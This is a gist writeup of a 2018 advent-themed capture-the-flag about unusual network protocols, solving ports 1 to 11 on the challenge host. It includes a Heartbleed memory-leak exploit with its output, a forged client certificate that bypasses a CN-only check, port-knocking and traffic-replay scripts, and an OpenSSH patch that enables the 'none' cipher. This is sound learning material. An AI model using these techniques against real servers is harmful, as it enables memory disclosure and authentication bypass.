Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save BenGardiner/03e2a7edeb7643ff1004e89f12f68792 to your computer and use it in GitHub Desktop.
Save BenGardiner/03e2a7edeb7643ff1004e89f12f68792 to your computer and use it in GitHub Desktop.
Advent Calendar of Advanced Cyber Fun 2018 Writeup

This is a writeup of the solutions to the Advent Calendar of Advanced Cyber Fun 2018. If you're not familiar, this is an advent-themed challenge so there was one new challenge each day from Dec 1st to Dec 24th. The challenges focused on exotic networking features. Usually, successfully connecting would win but sometimes challenge-response was necessary too.

The Advent Calendar of Advanced Cyber Fun 2018 was organized by @_takeshix and @lod108 and a big special thanks to them -- this was a ton of xmas fun!

Port 1

I'll quote the challenge description that they posted on https://xmas.rip here:

Sometimes it's hard to remember all of those silly port numbers. And there is this restriction of 65535 ports, but santa wanted to host this year's wishlist protocol on TCP 24122018! Wouldn't it be great to access services based on their name, and not their port number?! So Santa is hosting the wishlist service with the help of old school technology: RFC1078. Send him your wishlist!

A fun opener. Uses TCPMUX and we're told that the name of the service is wishlist. A careful read of the RFC shows that CRLF is needed to get things moving. We connect, send the desired service, followed by CRLF and are greeted with a service that takes a list terminated by KKTHXBYE. We ask for coal and terminate. Then we are given a piece for the voucher challenge.

(echo -ne 'wishlist\r\n'; sleep 1; echo -ne 'coal\nKKTHXBYE\n') | nc -6 xmas.rip 1
+Go
                  _..._
                ,'     `.
               Y        |
               |      _/
               |
               |
           ,--'_`--.
           |_______|
        _.-'""   ""`-._
     ,-"               "-.
   ,'                     `,
  /                          |
|                             |
|  Santa's wishlist service!  |
|                             |
|                             |
 |                           |
  \                         /
   `.                     ,'
     `._               _,'
        `--.._____..--'

Welcome to Santa's wishlist service!
A new wishlist has been created for you.
Please add new items to your list, or write KKTHXBYE to finish your list:
Santa received the following list:
        coal
Let's see what Santa can do for you, bye bye!
zYkmesG45dIDt4mSHs9OlpFESzq0dbDsrUZ0M1DcfYcdEdguOVdG0mc/KER3BO2W

Note that this base64 string is a 'secret token' which you need to collect and assemble all 24 to win an amazon voucher. These pieces for the voucher challenge weren't emitted by the challenges initially, this was added later in the challenge. I'll simply do the writeup from the perspective of the pieces being always emitted.

Port 2

Laaast Christmas, I gave you my heart...beat. But the very next day you gave my memory away! Santa loves this song, so much good memory. His memory is full of Christmas fun! Sometimes he's dancing and partying so much that he forgets to update his services. But he uses a lot of open source software, so there are no vulnerabilities anyway and Santa is using SSL/TLS all over the place.

The hint is talking about SSL/TLS and heart... beats. If we poke at the port it is clearly HTTPS; and the `index.html' there tells us to look elsewhere

$ curl https://xmas.rip:2
<html>
<body>
<p>This is not what you are looking for, right? Dig deeper into Santa's memory! Listen close to those heartbeats...</p>
</body>

OK. This is really hitting us over the head about hearbeats. If you don't recall, there was an information disclosure via TLS heartbeats (found by Codenomicon) which was a named vuln: Heatbleed.

There are multiple heartbleed testing tools on github; including one by one co-author of the xmas.rip challenge. Tried them all; only the one by the author (@_takeshix)works.

if ! test -d 10107280; then
        git clone https://gist.github.com/10107280.git
fi
python2 10107280/hb-test.py -p 2 xmas.rip

This tool gives us the contents of a memory leak as a hexdump; we can see the xmas message and the piece of the voucher challenge in the ASCI printed part.

Connecting...
[+] Sending ClientHello for TLSv1.0
[+] Waiting for Server Hello...
[+] Reveiced ServerHello for TLSv1.0
[+] Sending heartbeat request...
[+] Received heartbeat response:
  0000: 02 40 00 61 70 70 79 20 31 73 74 20 61 64 76 65  .@.appy 1st adve
  0010: 6E 74 20 61 6E 64 20 4D 65 72 72 79 20 43 68 72  nt and Merry Chr
  0020: 69 73 74 6D 61 73 21 20 54 61 6B 65 20 74 68 69  istmas! Take thi
  0030: 73 20 73 65 63 72 65 74 3A 20 46 77 68 55 67 76  s secret: FwhUgv
  0040: 77 77 73 34 49 4A 79 4D 45 64 2F 46 63 6F 33 49  wws4IJyMEd/Fco3I
  0050: 4F 48 6C 58 45 74 47 7A 42 66 59 38 30 30 4A 42  OHlXEtGzBfY800JB
  0060: 64 49 73 45 77 75 73 37 76 49 31 5A 53 2B 64 31  dIsEwus7vI1ZS+d1
  0070: 71 69 4A 65 5A 5A 48 46 52 67 00 48 61 70 70 79  qiJeZZHFRg.Happy
  0080: 20 31 73 74 20 61 64 76 65 6E 74 20 61 6E 64 20   1st advent and
  0090: 4D 65 72 72 79 20 43 68 72 69 73 74 6D 61 73 21  Merry Christmas!
  00a0: 20 54 61 6B 65 20 74 68 69 73 20 73 65 63 72 65   Take this secre
  00b0: 74 3A 20 46 77 68 55 67 76 77 77 73 34 49 4A 79  t: FwhUgvwws4IJy
[...]

Port 3

Transporting presents on Christmas is important for Santa. That's why choosing the right transport is crucial for proper Christmas sessions. We all know those boring transport layer protocols, but isn't there anything new and exciting?! Wouldn't it be great to access this webserver with any other protocol than plain old TCP? One of Santa's hobbies is browsing the site of IETF to look for exciting new stuff. He decided that draft-natarajan-http-over-sctp-00 is a great idea! And that xmas.rip should be accessible via this protocol...

This port is evidently HTTP-over-SCTP. Seems like once-upon-a-time this might have been a thing; there is a patched firefox and a project with patched curl etc. The draft spec is so similar to HTTP though that ww can connect successfully by bridging TCP over SCTP with socat. Someone on twitter having fun with xmas.rip like me also had this solution

socat TCP-LISTEN:8001,fork,SCTP:xmas.rip:3 &
curl localhost:8001
Yay, HTTP over SCTP is amazing! Head over to /xmas to get xmas.rip via SCTP!!
Oh, and don't forget this: //aE0yZYu18ZfY7x+RtXdMMgynsj88dYQyFXD7y4wqlytsnQkPr/IQES/snXAWi5

Port 4

Santa likes to watch television series. He was a big fan of Lost. Do you even remember that? He also loves Breaking Bad, because Santa is the one who knocks. Knock knock! Today's service is not accessible, what a bummer. But it seems like Santa is able to access it somehow. The Christmas Intelligence Agency (CIA) captured his traffic when he accessed it. What the hell was he doing?!

Pretty heavy hint here and looking at the pcap there is some port-knocking going on. We can reproduce the port knocking with scapy:

import argparse
from pwn import *
from pwnlib.exception import PwnlibException

from logging import getLogger, ERROR
getLogger("scapy.runtime").setLevel(ERROR)
from scapy.all import *

parser = argparse.ArgumentParser(description='for su shells in rbs sandboxen')
parser.add_argument('address', default='xmas.rip')
args = parser.parse_args()

with context.local(log_level='debug'):
    for port in [42, 23, 16, 15, 8, 4]:
        SYNR = sr1(IP(dst=args.address) / TCP(sport=RandShort(), dport=port, flags="S"))

After knocking, poking at port 4 indicates it is (another) HTTP server;

curl http://xmas.rip:4
You uncovered Santa's Lost secret!
       _____________,--,
      | | | | | | |/ .-.\   HANG IN THERE
      |_|_|_|_|_|_/ /   `.      SANTA
       |_|__|__|_; |      \
       |___|__|_/| |     .'`}
       |_|__|__/ | |   .'.'`\
       |__|__|/  ; ;  / /    \.---.
       ||__|_;   \ \  ||    /`___. \
       |_|___/\  /;.`,\   {_'___.;{}
       |__|_/ `;`__|`-.;|  |C` e e`\
       |___`L  \__|__|__|  | `'-o-' }
       ||___|\__)___|__||__|\   ^  /`\
       |__|__|__|__|__|_{___}'.__.`\_.'}
       ||___|__|__|__|__;\_)-'`\   {_.-;
       |__|__|__|__|__|/` (`\__/     '-'
       |_|___|__|__/`      |
-jgs---|__|___|__/`         \-------------------
-.__.-.|___|___;`            |.__.-.__.-.__.-.__
  |     |     ||             |  |     |     |
-' '---' '---' \             /-' '---' '---' '--
     |     |    '.        .' |     |     |     |
'---' '---' '---' `-===-'`--' '---' '---' '---'
  |     |     |     |     |     |     |     |
-' '---' '---' '---' '---' '---' '---' '---' '--
     |     |     |     |     |     |     |     |
'---' '---' '---' '---' '---' '---' '---' '---'

Port 5

Christmas Inc. is running a super secret intelligence service which is only accessible for authorized personnel. It authenticates users with client certificates. Grinch's Computer Hacking Qrew (GCHQ) found that "Rudolph Christmas Inc" could be a valid user, but it seems like having at least "christmas" in the certificate's Common Name could be enough. Like many developers they think checking the Common Name is sufficient to validate a client certificate. Try to impersonate Christmas Inc. employees with a proper certificate!

OK, so we need to try to connect to port 5 with HTTPS and provide a client certificate with 'Christmas' in the cn.

openssl req -nodes -newkey rsa:2048 -keyout xmas.key -out xmas.csr -subj "/C=UA/ST=Nicholas/L=Nicholas/O=North Pole/OU=Elf IT/CN=christmas.com"
openssl x509 -req -in xmas.csr -signkey xmas.key -out xmas.pem -days 20
curl --cert xmas.pem --key xmas.key https://xmas.rip:5
Much wow, very yay!
nqpwn4sowGbrRvf7wvHY63qV+hPj93Sw4eMzvdgzkRihJb3PAId0amvQuZAAi+aS
                /    /
               /'|  /'|
               | |  | |    __
               | |__| |_  /_ \   , ___    , ___     /   /
              <   __   / |) | | / '__ `. / '__ `. /'| /'|
               | |  | |   /-| | | (__} | | (__} | | `-' |
               | |  | |  | {] | | \___/  | \___/   \___ |
               | /  | /   `---\ | |      | |     __   | |
               /'   /'          | |      | |   / __ \/  |
                                | /      | /  | /  \___/
                                /'       /'    \|
        /    /
      /'|  /'|            /    _          /
      | |  | |          /'|   (_)       /'|
      | |__| |_    _    | |   ___,      | |   __             __
     <   __   /  /' `\  | |  '| |    __ | |  /_ \    /   / /'__`'|
      | |  | |  | /-\ | | |   | |  /'__`\ | |) | | /'| /'|| {__`-'
      | |  | |  | \_/ | | |   | | | {__)  |  /-| | | `-' | \__ \
      | /  | /   \___/ /___, /___, \____,_\ | {] |  \___ | ___} |
      /'   /'                                `---\ _   | |'.___/
                                                / __ \/  |'
                                               | /  \___/
                                                \|

Port 6

Beware of the Grinch! He wants to steal Christmas again and is not afraid to do this by any means. Some may even call him a SERIAL killer of mood.. Secrect Christmas Service (SCS) elves have observed strange behavior with today's port: Grinch's sessions always connect to two ports. One of them is 666... He might be up to something there?! The Elve Cyber Crew (EC2) can't figure out how to deal with those complicated calculations. Always remember: two plus two is four minus one that's three. Quick maths!

I don't get the SERIAL reference; and I had to google 'Quick Maths' (that was funny). If we poke at port 666 and port 6 with netcat (i.e. just connect to them and smash the keyboard a bit and try different order of connects). You'll see that port 6 emits a math problem when 666 is connected to. You can submit solutions to the math problems on port 666. Port 6 asks multiple math problems, and I'm lazy so I set out to find something, in python, that could solve the math problems for me. Port 6 asks multiple math problems, and I'm lazy so I set out to find something, in python, that could solve the math problems for me. I don't want to just eval anything that @_takeshix or @lod108 send back my way, that seems way to careless. The asteval package is purportedly only a limited subset of the language. I'm sure this is safe to run as root now :)

import argparse
from pwn import *
from pwnlib.exception import PwnlibException

import asteval

parser = argparse.ArgumentParser(description='for su shells in rbs sandboxen')
parser.add_argument('address', default='xmas.rip')
args = parser.parse_args()

with context.local(log_level='debug'):
    r_out = pwnlib.tubes.remote.connect(args.address, 6)
    r_in  = pwnlib.tubes.remote.connect(args.address, 666)

    while True:
        challenge = r_out.recvline()
        response = asteval.Interpreter()(challenge)
        r_in.sendline(str(response))

        result = r_out.recvline()
        if result != 'Congratulations... This was correct \n':
            print result
            print r_out.recvall()
            break
snowball fight.  High time it spread here...

tSHc5asov6Wd7mNd1dScGw0UFY6wOoczYI+2Xxj1mIEYioSFplS1V5FimrWfAhSM

        BBBBBB  BB  BB  BB  BB  BB   dBBb    BBBBb    dBP
          BB    BB  BB  BB  BB  BB  dB""Bb   BB  BB  dBP
          BB    BBBBBB  ?BbdBBbdBP dBBBBBBb  BBBBP  dBP
          BB    BB  BB   ?BBBBBBP  BB    BB  BB
          BB    BB  BB    ?P  ?P   BB    BB  BB   dBP

                                         _.O
                                  ,-O .-"
                               .-" .-"          ..-O
                            .-"          _..--""
                     ....  _...._  ..--""
            ...+++'''    .'      `.            ___..O
      -  '         ...  /          \ __...---""
           ...++'''    ;            b
     -  '              :           BB -------O
                        .         dBP __
                   ....  +._   .dBB'_   """""----O
           ...++'''...... `*8BBBP'   ""--.._
     -  '  ...++'''               ``-._     ""O
     -  '            dBBBb| |  |dBBBb  `-._
                   dBBBBBBb    dBBBBBBb    `O
                 dBBBBBBBBBb  dBBBBBBBBBb
               dBBBBBPBBBBBBbdBBBBBB"BBBBBb
           __dBBBBBP  BBBBBBBBBBBBBB  "BBBBBb__
           -- "BBP    BBBBBBBBBBBBBB    "BBP --
           .'   "     BBBBBBBBBBBBBB      "  `.
           .///       BBBBBBBBBBBBBB       \\\.
                      BBBBPdBBBBBBBB
                      BBBBPdBBBBBBBB
                      BPdBBBBBBBBBP
             _      .dBBBBBBBBBBBP
           .' `:o.dBBBBBBBBBBBBP
           |   |BB\BBBBBBBBBP"
           |   |BB\BBBBBBP"d
           \____BB\BBP""dBBB
           |   |BB'   BBBBBB
           `._.'"     BBBBBB
                      :====:
                  dBBBBBBBBB
                  BBBBBBBBBB
                   """"" ""

               ...gotcha!  yahahahaha!!

Port 7

Christmas can be exhausting for Santa. Delivering all of those presents requires the right methods. If you use the wrong methods, stuff will just not work.. Don't even try to GET what's Santa's secret tactic. Sometimes you got to make your own decisions. You have to evaluate your OPTIONS. It might get confusing in your HEAD.

The hint is pretty clearly referring to alternate HTTP methods (other than GET). So we start by using the OPTIONS method to see what is available and we find an XMAS method:

curl -i -X OPTIONS http://xmas.rip:7
curl -i -X XMAS http://xmas.rip:7
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 18 Dec 2018 17:36:05 GMT
Content-Type: text/plain
Content-Length: 29
Connection: keep-alive
Allow: HEAD, POST, GET, XMAS

We gotta make some decisions.HTTP/1.1 999
Server: nginx
Date: Tue, 18 Dec 2018 17:36:05 GMT
Content-Type: text/plain
Content-Length: 1195
Connection: keep-alive

XMAS FUN!!

RUvTkvmmfRP2bCfa83OqT6xDNBVdf8QWcMLOJ77NIOaER/09kc8qq6JLk+OJOPTA

                                      _.--"""--,
                                    .'          `\
  .-""""""-.                      .'              |
 /          '.                   /            .-._/
|             `.                |             |
 \              \          .-._ |          _   \
  `""'-.         \_.-.     \   `          ( \__/
        |             )     '=.       .,   \
       /             (         \     /  \  /
     /`               `\        |   /    `'
     '..-`\        _.-. `\ _.__/   .=.
          |  _    / \  '.-`    `-.'  /
          \_/ |  |   './ _     _  \.'
               '-'    | /       \ |
                      |  .-. .-.  |   M E R R Y
                      \ / o| |o \ /
                       |   / \   |   C H R I S T M O O S E !
                      / `"`   `"` \
                     /             \
                    | '._.'         \
                    |  /             |
                     \ |             |
                      ||    _    _   /
                      /|\  (_\  /_) /
              jgs     \ \'._  ` '_.'
                       `""` `"""`

Port 8

It's saturday night and Santa is out to party with the elves. He likes to dance, especially the ChaCha, it's his favorite! Santa likes to challenge others when it comes to dancing. He's absolutely into dance battles. But without ChaCha you won't be able to reach him.

This one is clearly (I'm a nerd, K?) referring to the ChaCha20 cipher. I made the wrong assumption that this was only available in TLS 1.3 and wrestled with getting a TLS 1.3 stack on curl going and then fighting with the server because I wanted only TLS 1.2. I found this out by using the awesome testssl.sh tool which I spun up in a container they provide, and then I used its curl+openssl rather than wrestle with the state of my current system.

docker run drwetter/testssl.sh -E https://xmas.rip:8 | grep -i chacha
docker run --entrypoint /usr/bin/curl drwetter/testssl.sh --ciphers ECDHE-RSA-CHACHA20-POLY1305 -v https://xmas.rip:8
 Using "OpenSSL 1.0.2-chacha (1.0.2i-dev)" [~183 ciphers]
 xcca8   ECDHE-RSA-CHACHA20-POLY1305       ECDH 521   ChaCha20    256      TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256
 xccaa   DHE-RSA-CHACHA20-POLY1305         DH 4096    ChaCha20    256      TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256
Let's do the ChaCha dance!

rmshuW1pO+GOJV+zQ1lPAPzxGyCe6L97loRRv9yaY3lpRoHrtVSbOqI5fO6S3vbF

                     /\
                  /\/  \/\               __/\__
                 (    |   )             /  /  /
                  \   |  /           /\/  /  /__
                /\/   |  \/\        /    /     /__
       __       \     |     \       \   /     ___/
       \ \__     \    | ,------,  /\/  /     /
    ____\   \__/\/    |/  o  o  \/    /      ~~/
    \_           \    { \______/ }  ,------,  /__
      \ ----------\    \________/  /  o  o  \   /      __
      /__         ,------,     /  { \______/ } /~~~~~\/  \__
        /__      /  o  o  \ /\/  / \________/    --------- /__
          /__   { \______/ }  \ /___        _              __/
             \/~ \________/     /   \__/\  / \/~~\_/~~\/~\/
                    /_   /   __/   \    /~~
                    _/  /    \__    \   \__
                   /_  /     __/\    \  __/
                    /_/     _\  /_    \ \
                      \/~~\/     /_    \ ~~/
                                  /__   \  ~/
      "JOLLY HOLLY"                 /__  \ /

Port 9

Deep down in the depths of Santa's Kernel fancy stuff is happening. Rumors have it that there is some kind of packet filtering that only allows specific clients. Elves noticed that services are only accessible by the Christmas staff members, but not by any random client.

For the 2nd Advent Santa is using advanced packet inspection technology to keep services safe from intruders. The only information that is available is some eBPF code that does stuff. Access to today's port is guarded by this code. Can you dig it?

We're linked to some eBPF code which is all pretty boiler-plate (as compared to examples on the internet). The part that stands out as different is the following:

	if ((p[2] == 'A') && (p[5] == '0') && (p[0] == 'X') && (p[3] == 'S') && (p[1] == 'M') && (p[4] == '2') && (p[7] == '8') && (p[6] == '1')) {
		goto KEEP;
	}

From which we infer that we need to send the magic XMAS2018 over TCP. go crappy python:

import argparse
from pwn import *
from pwnlib.exception import PwnlibException

parser = argparse.ArgumentParser(description='for su shells in rbs sandboxen')
parser.add_argument('address', default='xmas.rip')
args = parser.parse_args()

with context.local(log_level='debug'):
    r = pwnlib.tubes.remote.connect(args.address, 9)

# if ((p[2] == 'A') && (p[5] == '0') && (p[0] == 'X') && (p[3] == 'S') && (p[1] == 'M') && (p[4] == '2') && (p[7] == '8') && (p[6] == '1')) {
# 0 X
# 1 M
# 2 A
# 3 S
# 4 2
# 5 0
# 6 1
# 7 8
# XMAS2018

    r.sendline('XMAS2018')
    print r.recvall()
[x] Opening connection to xmas.rip on port 9
[x] Opening connection to xmas.rip on port 9: Trying 51.75.68.227
[+] Opening connection to xmas.rip on port 9: Done
[DEBUG] Sent 0x9 bytes:
    'XMAS2018\n'
[x] Receiving all data
[...]
[x] Receiving all data: 2.29KB
[DEBUG] Received 0x7 bytes:
    'Jingle\n'
[x] Receiving all data: 2.30KB
[+] Receiving all data: Done (2.30KB)
[*] Closed connection to xmas.rip port 9
                    .:::::::::::...
                  .::::::::::::::::::::.
                .::::::::::::::::::::::::.
               ::::::::::::::::::::::::::::.
              :::::::::::::::::::::::::::::::  .,uuu   ...
             :::::::::::::::::::::::::::::::: dHHHHHLdHHHHb
       ....:::::::'`    ::::::::::::::::::' uHHHHHHHHHHHHHF
   .uHHHHHHHHH'         ::::::::::::::`.  uHHHHHHHHHHHHHP"
   HHHHHHHHHHH          `:::::::::::',dHHuHHHHHHHHP".g@@g
  J"HHHHHHHHHP        4H ::::::::'  u$$$.
  ".HHHHHHHHP"     .,uHP :::::' uHHHHHHHHHHP"",e$$$$$c
   HHHHHHHF'      dHHHHf `````.HHHHHHHHHHP",d$$$$$$$P%C
 .dHHHP""         JHHHHbuuuu,JHHHHHHHHP",d$$$$$$$$$e=,z$$$$$$$$ee..
 ""              .HHHHHHHHHHHHHHHHHP",gdP"  ..3$$$Jd$$$$$$$$$$$$$$e.
                 dHHHHHHHHHHHHHHP".edP    " .zd$$$$$$$$$$$"3$$$$$$$$c
                 `???""??HHHHP",e$$F" .d$,?$$$$$$$$$$$$$F d$$$$$$$$F"
                       ?be.eze$$$$$".d$$$$ $$$E$$$$P".,ede`?$$$$$$$$
                      4."?$$$$$$$  z$$$$$$ $$$$r.,.e ?$$$$ $$$$$$$$$
                      '$c  "$$$$ .d$$$$$$$ 3$$$.$$$$ 4$$$ d$$$$P"`,,
                       """- "$$".`$$"    " $$f,d$$P".$$P zeee.zd$$$$$.
                     ze.    .C$C"=^"    ..$$$$$$P".$$$'e$$$$$P?$$$$$$
                 .e$$$$$$$"="$f",c,3eee$$$$$$$$P $$$P'd$$$$"..::.."?$%
                4d$$$P d$$$dF.d$$$$$$$$$$$$$$$$f $$$ d$$$" :::::::::.
               $$$$$$ d$$$$$ $$$$$$$$$$$$$$$$$$ J$$",$$$'.::::::::::::
              "$$$$$$ ?$$$$ d$$$$$$$$$$$$$$$P".dP'e$$$$':::::::::::::::
              4$$$$$$c $$$$b`$$$$$$$$$$$P"",e$$",$$$$$' ::::::::::::::::
              ' ?"?$$$b."$$$$.?$$$$$$P".e$$$$F,d$$$$$F ::::::::::::::::::
                    "?$$bc."$b.$$$$F z$$P?$$",$$$$$$$ ::::::::::::::::::::
                        `"$$c"?$$$".$$$)e$$F,$$$$$$$' ::::::::::::::::::::
                        ':. "$b...d$$P4$$$",$$$$$$$" :::::::::::::::::::::
                        ':::: "$$$$$".,"".d$$$$$$$F ::::::::::::::::::::::
                         :::: be."".d$$$4$$$$$$$$F :::::::::::::::::::::::
                          :::: "??$$$$$$$$$$?$P" :::::::::::::::::::::::::
                           :::::: ?$$$$$$$$f .::::::::::::::::::::::::::::
                            :::::::`"????"".::::::::::::::::::::::::::::::
Take this: hkp1kGzroZitXRuWM6DPPbDOvHW4s8bXrLFromwYqWQ3L2/hX4cAPldvqwuBM2iVJingle

That's my fav ASCII art of the challenge for sure.

Port 10

The tenth port is one of Santa's Remoting ports that he hosts on the .Network. It is accessible by anyone, but you need a proper client. The elves are not sure how to build a client but they gathered some intel on the inner workings of Sanata's Remoting tool. There is some captured traffic and a code snippet. Can you create your own client?

This one is hinting that we'll need to create a custom client for something in .NET. The code snippet and packet capture definitely given us enough information to create something in .NET that can request a Santa() object which will presumably give us the token for the challenge... We could probably implement it all in mono or maybe even iron-python -- but it turns out that the traffic in the pcap can just be replayed...

import argparse
from pwn import *
from pwnlib.exception import PwnlibException

import asteval

parser = argparse.ArgumentParser(description='for su shells in rbs sandboxen')
parser.add_argument('address', default='xmas.rip')
args = parser.parse_args()

magic_bytes = [ 0x2e, 0x4e, 0x45, 0x54, 0x01, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x78, 0x00, 0x00, 0x00, 0x06, 0x00,
        0x01, 0x01, 0x18, 0x00, 0x00, 0x00, 0x61, 0x70,
        0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f,
        0x6e, 0x2f, 0x6f, 0x63, 0x74, 0x65, 0x74, 0x2d,
        0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x04, 0x00,
        0x01, 0x01, 0x17, 0x00, 0x00, 0x00, 0x74, 0x63,
        0x70, 0x3a, 0x2f, 0x2f, 0x78, 0x6d, 0x61, 0x73,
        0x2e, 0x72, 0x69, 0x70, 0x3a, 0x31, 0x30, 0x2f,
        0x72, 0x58, 0x6d, 0x61, 0x73, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x15, 0x11, 0x00, 0x00, 0x00, 0x12, 0x05, 0x53,
        0x61, 0x6e, 0x74, 0x61, 0x12, 0x58, 0x52, 0x65,
        0x6d, 0x6f, 0x74, 0x69, 0x6e, 0x67, 0x53, 0x61,
        0x6d, 0x70, 0x6c, 0x65, 0x2e, 0x52, 0x65, 0x6d,
        0x6f, 0x74, 0x65, 0x58, 0x6d, 0x61, 0x73, 0x2c,
        0x20, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2c,
        0x20, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e,
        0x3d, 0x30, 0x2e, 0x30, 0x2e, 0x30, 0x2e, 0x30,
        0x2c, 0x20, 0x43, 0x75, 0x6c, 0x74, 0x75, 0x72,
        0x65, 0x3d, 0x6e, 0x65, 0x75, 0x74, 0x72, 0x61,
        0x6c, 0x2c, 0x20, 0x50, 0x75, 0x62, 0x6c, 0x69,
        0x63, 0x4b, 0x65, 0x79, 0x54, 0x6f, 0x6b, 0x65,
        0x6e, 0x3d, 0x6e, 0x75, 0x6c, 0x6c, 0x0b ]

with context.local(log_level='debug'):
    r = pwnlib.tubes.remote.connect(args.address, 10)

    r.send("".join(map(chr, magic_bytes)))
    print r.recvuntil('\x0b')
[x] Opening connection to xmas.rip on port 10
[x] Opening connection to xmas.rip on port 10: Trying 51.75.68.227
[+] Opening connection to xmas.rip on port 10: Done
[DEBUG] Sent 0xc7 bytes:
    00000000  2e 4e 45 54  01 00 00 00  00 00 78 00  00 00 06 00  │.NET│····│··x·│····│
    00000010  01 01 18 00  00 00 61 70  70 6c 69 63  61 74 69 6f  │····│··ap│plic│atio│
    00000020  6e 2f 6f 63  74 65 74 2d  73 74 72 65  61 6d 04 00  │n/oc│tet-│stre│am··│
    00000030  01 01 17 00  00 00 74 63  70 3a 2f 2f  78 6d 61 73  │····│··tc│p://│xmas│
    00000040  2e 72 69 70  3a 31 30 2f  72 58 6d 61  73 00 00 00  │.rip│:10/│rXma│s···│
    00000050  00 00 00 00  00 00 00 00  01 00 00 00  00 00 00 00  │····│····│····│····│
    00000060  15 11 00 00  00 12 05 53  61 6e 74 61  12 58 52 65  │····│···S│anta│·XRe│
    00000070  6d 6f 74 69  6e 67 53 61  6d 70 6c 65  2e 52 65 6d  │moti│ngSa│mple│.Rem│
    00000080  6f 74 65 58  6d 61 73 2c  20 43 6c 69  65 6e 74 2c  │oteX│mas,│ Cli│ent,│
    00000090  20 56 65 72  73 69 6f 6e  3d 30 2e 30  2e 30 2e 30  │ Ver│sion│=0.0│.0.0│
    000000a0  2c 20 43 75  6c 74 75 72  65 3d 6e 65  75 74 72 61  │, Cu│ltur│e=ne│utra│
    000000b0  6c 2c 20 50  75 62 6c 69  63 4b 65 79  54 6f 6b 65  │l, P│ubli│cKey│Toke│
    000000c0  6e 3d 6e 75  6c 6c 0b                               │n=nu│ll·│
    000000c7
[DEBUG] Received 0x5a0 bytes:
[...]
.NE                                  ______________________
                                 /                      \
                                 |                      |
                                 |                      |
                                 |                      |
             ______________      | Take this secret:    |
            /         \    \     | kaVe1oFFwdI0YD+qTtsI |
           /           \    \    | ff3aCR2vgrfmUQF3DU+g |
          / _________   \    |   | THN4L67gR/d95PbrbMBB |
          \/     _   \  /    |   | lGgh  ... ...        |
           \ /    \   \/_    |   |                      |
           |  O_O_/   || \_  \   | .............        |
          / __(_ __   ||   \ /   |                      |
         /\/___\___\_/  \  /_\   |                      |
        /      __        \/   \  |   From Santa,        |
        |                |\___/  |         with love.   |
  ______|________        |  \    |                      |
 /              /\       /   \    \____________________/
 |              | \     /     \
 \______________\  |___/       \
  _|___            |_____\      \
 /|  __|           |_|| o \      \
| |    \           |_||____\_____/\
\_|____/     /     |        \_____/____
   |        //     |         /     \   \
   |       //      |_________\_/\   \   \__  ______
   |      /        |         /_ |_/_/      \/_//__/|
   |               |________// \|  \      //_//__/||\_
   |               |        \__//   |    / | ||__|/_  \
   |               |        |       |    \_|_/         \
   |  ___________  | |      |       /                   |
    \               \|______|      /              _____ |
     \               \      |      |      \\     _/   / |
      \               \_____|______\___    \    -/___/  |
       \                         ______\_____          /
        \                       / \          \        /
         \__________________    \ |           |______/
                            \    /            /
                             \__/____________/


[*] Closed connection to xmas.rip port 10

Port 11

Remote shell access is a crucial part of Santa's Christmas DevOps. Keeping it secure is relevant to securely delivering best possible gift distribution characteristics. The best option is Santa's Shell (SSH) which provides superb security with strong authentication. And integrity checking. It is also much faster than other secure remote access protocols, almost as fast as telnet! Even though Santa is using his SSH, Grinch's Computer Hacking Qrew (GCHQ) captured his traffic and found something strange. Somehow the data of the SSH session was trasmitted in clear! They found out that Santa is using his santa account, and he is using a super weak password, santa! Unfortunately, all of GCHQ's staff is using bleeding edge SSH2 clients which seem to be incompatible. The reason...? none.

That hint is pretty clever -- once you figure out what is going on. At first I thought I needed to connect with SSHV1; that wasn't it. What you need to do is add support for encryption type none to an SSHV2 client! I setup a patched ssh client inside a container because I didn't think adding support for that to my day-to-day ssh client was a good idea.

$ cat sshv1-docker/Dockerfile
FROM alpine:3.1

RUN apk update \
    && apk add --virtual build-dependencies \
        build-base \
        gcc \
        wget \
        git \
    && apk add \
        bash \
    && apk add \
        openssl-dev \
    && apk add \
        alpine-sdk

WORKDIR /app
COPY openssh-7.5p1.tar.gz .
COPY sshnone.patch .
RUN tar xvzpf openssh-7.5p1.tar.gz \
    && cd openssh-7.5p1 \
    && patch -p1 < ../sshnone.patch \
    && ./configure --with-ssh1 --prefix=/usr \
    && make \
    && make install

RUN echo "Ciphers none" > /usr/etc/ssh_config
RUN echo "StrictHostKeyChecking no" >> /usr/etc/ssh_config

RUN apk add \
     sshpass

ENTRYPOINT ["/usr/bin/ssh"]

$ cat sshv1-docker/sshnone.patch
diff --git a/cipher.c b/cipher.c
index 2def333..ae86602 100644
--- a/cipher.c
+++ b/cipher.c
@@ -273,7 +273,7 @@ ciphers_valid(const char *names)
        for ((p = strsep(&cp, CIPHER_SEP)); p && *p != '\0';
            (p = strsep(&cp, CIPHER_SEP))) {
                c = cipher_by_name(p);
-               if (c == NULL || c->number != SSH_CIPHER_SSH2) {
+               if (c == NULL || (c->number != SSH_CIPHER_SSH2 && c->number != SSH_CIPHER_NONE)) {
                        free(cipher_list);
                        return 0;
                }
@@ -605,6 +605,7 @@ cipher_get_keyiv(struct sshcipher_ctx *cc, u_char *iv, u_int len)

        switch (c->number) {
 #ifdef WITH_OPENSSL
+       case SSH_CIPHER_NONE:
        case SSH_CIPHER_SSH2:
        case SSH_CIPHER_DES:
        case SSH_CIPHER_BLOWFISH:
@@ -653,6 +654,7 @@ cipher_set_keyiv(struct sshcipher_ctx *cc, const u_char *iv)

        switch (c->number) {
 #ifdef WITH_OPENSSL
+       case SSH_CIPHER_NONE:
        case SSH_CIPHER_SSH2:
        case SSH_CIPHER_DES:
        case SSH_CIPHER_BLOWFISH:

$ cat solve.sh
#!/bin/bash
cd sshv1-docker && docker build -t sshv1ing .
